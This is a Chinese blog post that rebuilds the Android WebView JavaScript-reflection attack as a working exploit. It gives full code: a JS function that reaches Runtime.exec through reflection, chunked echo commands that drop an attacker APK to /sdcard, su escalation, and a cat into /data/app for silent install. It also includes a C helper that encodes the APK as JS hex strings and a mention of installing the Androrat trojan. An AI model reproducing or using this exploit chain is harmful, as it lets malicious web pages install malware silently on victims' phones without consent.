Android WebView JS反射攻击还原(通过echo写入apk文件)

RT

最近在乌云平台上看了披露出来的一些漏洞,因为之前用过webview,所以尝试着还原一下js反射攻击:

原文地址

文中写的比较详细了,也可以看看文章后面的参考。说一下遇到问题:

首先原理是因为sdcard可读可写,因此把攻击的数据写入到sdcard中去,但怎么写是个大问题,尤其是数据比较大的时候。我们在示例的网页中写恶意JS脚本,

function execute(cmdArgs)
{
return JsUseJave.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}

这个函数用来实行shell命令,不过获取权限是个大问题,首先要求手机必须root掉,然后通过执行su命令,但是问题在于两次命令执行的环境居然不一样,也就是说第一个命令su执行完之后,他所在的环境是有root权限的,但是第二条指令可就没有这么好的运气了,因为子进程环境不同。


还有就是执行echo特别特别需要注意的一点就是命令格式,折腾了2天总算弄出点眉目来:

原文中的数据:

var armBinary1 = "x50x4Bx03x04x14x00x08x00x08x00"
对应的exec语句为:

execute(["/system/bin/sh","-c","echo -n +armBinary2+ >> " + patharm]);


应该是大神觉得读者都懂,所以简略的写了下,表示虽然一看就懂了,但是。。。实际写一段代码试试就发现这个命令根本执行不了,而且最要命的是,webview是没法执行alert的,根本不知道输出是什么,而且js中引用java对象并不是那么简单的事情,通过反射拿到对象,但也仅仅成功拿到了Runtime,其他对象一直出错,导致VM崩掉,try ,catch中也不会有什么输出。

上边这行代码我测试根本执行不成功,首先这个字符串就不是按照字节来输出的,应该是大神一个简单的演示而已。

用过shell echo都知道,可以这样写:

//var armBinary = "\\x4d\\x5a\\x00\\x4d\\x5a";
execute(["/system/bin/sh","-c","echo -n '"+armBinary+"' >> /sdcard/test.apk"]);

这样经过测试的的确确可以成功的将数据写入到指定的文件中,不过一定要注意这样写:

"echo -n' "+armBinary+" '  >> /sdcard/test.apk"


一定要用 '  '把变量裹起来,否则的话就会把这个变量名称当做字符输出了,我测试的时候自作聪明的用+把各个字符串分开,写成这个样子:

execute(["/system/bin/sh","-c","echo -n "+armBinary+" >> /sdcard/test.apk"]);
这样总是会多写3个字节,其中包括-n,以及一个换行。

切记一定要写成带有' '的形式,而且,二进制变量必须写成这个样子:

var content0="\\x50\\x4b\\x03\\x04\\x14\\x00\\x08\\x00"
否则你会发现如果变量中有0x00的样子,代码就不会正常执行了,最其原因我认为应该是如下原因:

1. execute函数中参数是个数组,有3个,第三个元素依然会按章字符串的原则来解析,所以,你仅仅写成\x4d\x51的话,如果没有0x00,OK,可以正常写入,如果有的话那就悲剧了,字符串被截断了,而且不会有任何输出内容。

2. 虽然在Linux下用echo, 可以echo -n -e "\x4d\x5a\x00\x00"  > test  真实的可以写入4个字节,用adb shell 进入Android系统也能执行,但是通过反射shell就不可行,应该还是跟JS字符串的解析有关。

【对js不熟,以上是根据测试结果的猜想,如果问题请指正】


还有个问题,原文中说可以使用:

execute(["/system/bin/sh","-c","adb install /mnt/sdcard/Androrat.apk"]);

来安装apk,但是我测试时发现也不好使,总是报device not found错误,尝试各种办法不行,如果大家有好的方法欢迎指导,跟小师弟两人测试了好久,终于发现先获取到root权限,然后直接将这个apk弄到/data/app目录下,就可以静默安装了。【前提是,执行copy命令的process必须是执行su之后的process,否则还是没法获得权限】

先说说在Activity中连续执行这两个命令:

  String string2 = "rm /system/test &\n";       
        Runtime runtime = Runtime.getRuntime();
        DataOutputStream dataOut;
        try {
                Process process = runtime.exec("su ");
                InputStream in = process.getInputStream();
                BufferedReader bufferReader = new BufferedReader(
                                new InputStreamReader(in));
                BufferedReader err=new BufferedReader(new InputStreamReader(process.getErrorStream()));
                String line = null;
                dataOut = new DataOutputStream(process.getOutputStream());
                dataOut.writeBytes(string2);
                dataOut.flush();
                dataOut.close();
                process.waitFor();
                while ((line = err.readLine()) != null) {
                   Log.i("js",line);
            }
                while ((line = bufferReader.readLine()) != null) {
                	Log.i("js",line);
                }
        } catch (Exception e) {
                e.printStackTrace();
        }finally{
                if(process != null)
                        process.destroy();
        }

首先拿到runtime,执行exec会返回一个Process对象,此时不能直接再执行exec,因为那样会直接fork一个子进程,就不再是之前执行过su命令的shell了(Linux中su仅仅对当前打开的这个shell有效),所以我们想看到这个shell的返回值,就必须拿到他的“输出流”-->InputStream【注意名称】,如果想再接着执行命令,就必须往他的输入流OutputStream中写命令,因为shell也是一个数据流。写完之后记得flush和close数据流,然后waitFor一下。【虽然没有waitFor也能执行成功,但推荐加上】这样就可以在同一个process shell中连续执行命令了。  【么了强调一下,这段代码最好new一个thread来执行,因为如果等待时间过长的话,会引起Activity因为等待过长而宕掉】

在JS中想要顺序执行命令,也是同样的原则,不过在java中我们可以通过BufferReader来读取输出流,通过DataOutputStream来写入,但是在JS中尝试各种办法都没法引用到JAVA中的这两个对象,因此只能用下面这种方法:

var process = execute(["su"]);
writeStream(process.getOutputStream());
function writeStream(outputStream) {
	window.JsUseJave.openImage("start writeStream   ");
	try {
		var cmd = "cat /sdcard/attack.apk > /data/app/attack.apk &";
		var len = cmd.length;
		var cmdByte = [];
		cmdByte = stringToBytes(cmd);
		outputStream.write(cmdByte);
		outputStream.flush();
		outputStream.close();
		window.JsUseJave.openImage("writeStream over");
	} catch (e) {
		window.JsUseJave.openImage("writeStream   " + e.message);
		document.write("writeStream     " + e.message);
	}
}

执行exec返回一个process对象,拿到它的输入流,然后直接用输入流的write函数往里边写byte数组,只要把命令cmd转换为byte数组就可以成功执行了。

么了,Android里不知道为么没有cp命令,如果用mv代替,会出现faile  cross device link 。居说是认为sdcard和本身系统不在一个文件系统之内。

具体的解析请看这个链接:http://weiweiabc109.blog.163.com/blog/static/28357220123211481870/

所以就用了cat来代替。


对原文中的代码的修改如下就可以正常执行,汇总如下:


function test()
{
	var content0="\\x50\\4b";
	...
	...篇幅原因,省略了二进制变量
	...
	try{
		execute(["/system/bin/sh","-c","echo -n '"+content0+"' > /sdcard/attack.apk"]);// -l /system/test"]);//+ "\x4d\x5a" +" > /sdcard/test"]);
		execute(["/system/bin/sh","-c","echo -n '"+content1+"' >> /sdcard/attack.apk"]);
		execute(["/system/bin/sh","-c","echo -n '"+content2+"' >> /sdcard/attack.apk"]);
		execute(["/system/bin/sh","-c","echo -n '"+content3+"' >> /sdcard/attack.apk"]);
		execute(["/system/bin/sh","-c","echo -n '"+content4+"' >> /sdcard/attack.apk"]);
		execute(["/system/bin/sh","-c","echo -n '"+content5+"' >> /sdcard/attack.apk"]);
		execute(["/system/bin/sh","-c","echo -n '"+content6+"' >> /sdcard/attack.apk"]);
		execute(["/system/bin/sh","-c","echo -n '"+content7+"' >> /sdcard/attack.apk"]);
		execute(["/system/bin/sh","-c","echo -n '"+content8+"' >> /sdcard/attack.apk"]);
		execute(["/system/bin/sh","-c","echo -n '"+content9+"' >> /sdcard/attack.apk"]);

		var process = execute(["su"]);
		window.JsUseJave.openImage("start outputStream");
		writeStream(process.getOutputStream());
		window.JsUseJave.openImage("start getinputStream");
		document.write("content:" + getContents(process.getInputStream()));
		document.write("errorcontent:" + getContents(process.getErrorStream()));
	} catch (e){
		window.JsUseJave.openImage(e.message);
		}	
}

function writeStream(outputStream) {
	window.JsUseJave.openImage("start writeStream   ");
	try {
		var cmd = "cat /sdcard/attack.apk > /data/app/attack.apk &";
		var len = cmd.length;
		var cmdByte = [];
		cmdByte = stringToBytes(cmd);
		outputStream.write(cmdByte);
		outputStream.flush();
		outputStream.close();
		window.JsUseJave.openImage("writeStream over");
	} catch (e) {
		window.JsUseJave.openImage("writeStream   " + e.message);
		document.write("writeStream     " + e.message);
	}
}

function execute(cmdArgs)
{
return JsUseJave.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}


function getContents(inputStream)  
{  
  var contents = "";  
  var b = inputStream.read();  
  while(b != -1) {  
      var bString = String.fromCharCode(b);  
      contents += bString;  
      b = inputStream.read();  
  }  
  return contents;  
 }  

function stringToBytes(str) {
	var ch, st, re = [];
	for ( var i = 0; i < str.length; i++) {
		ch = str.charCodeAt(i); // get char
		st = []; // set up "stack"
		do {
			st.push(ch & 0xFF); // push byte to stack
			ch = ch >> 8; // shift value down by 1 byte
		} while (ch);
		// add stack contents to result
		// done because chars have "wrong" endianness
		re = re.concat(st.reverse());
	}
	// return an array of bytes
	return re;
}


至于如何定义文件的二进制变量,附上自己写的很水的一个c代码,读取NewbieTaskActivity.apk这个文件,然后每个变量为30K的数据,最后输出文件resvalue中的内容就是类似于这样的:

var content0 = "\\x4d\\5a\\0x00\\4d...";
var content1 = "\\x4d\\5a\\0x00\\4d...";
var content2 = "\\x4d\\5a\\0x00\\4d...";

直接粘到js中,然后执行多次exec就行了,然后就可以在sdcard中看到你自己的apk了。折腾了两天,就酱紫了。

C代码如下:

#include<cstdio>
#include<cstring>
#include<cstdlib>
int main()
{
	FILE * fp;
	char ch;
	if((fp=fopen("NewbieTaskActivity.apk","rb"))==NULL)
	{
		printf("error");
		return 0;
	}
	fseek(fp,0,SEEK_END);
	unsigned long long len=ftell(fp);
	char * data=(char *)malloc(len);
	 rewind(fp);
	fread(data,1,len,fp);
	fclose(fp);
	printf("file size is:%u\n",len);
	//for(int i=0;i<20;i++)
	//	printf("\\\\x%02x ",(unsigned char)data[i]);
	//printf("\n");
	const int per=1024*30;
	int time=len/per;
	if(len%per!=0) time++;
	printf("time is %d\n",time);
	system("pause");
	int cur=0;
	int total=0;
	for(int k=0;k<time;k++)
	{
		char filename[20];
		sprintf(filename,"resvalue");
		FILE * out=fopen(filename,"ab+");
		if(out==NULL)
		{
			printf("open file %s errro!",filename);
			continue;
		}
		char tmpdata[per]={0};
		unsigned writelen=0;

		if(cur+per<=len) writelen=per;
		else writelen=len-cur;
		memcpy(tmpdata,data+cur,writelen);
		fprintf(out,"var content%d=\"",k);
		for(int i=0;i<writelen;i++)//\\x4d
			fprintf(out,"\\\\x%02x",(unsigned char)tmpdata[i]);
		fprintf(out,"\";\n");
		total+=writelen;
		printf("file wirte :%d\n",writelen);
		printf("total is :%d\n",total);
		fclose(out);
		cur+=per;
	}
	printf("file value write %d\n",total);
	return 0;
}



  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值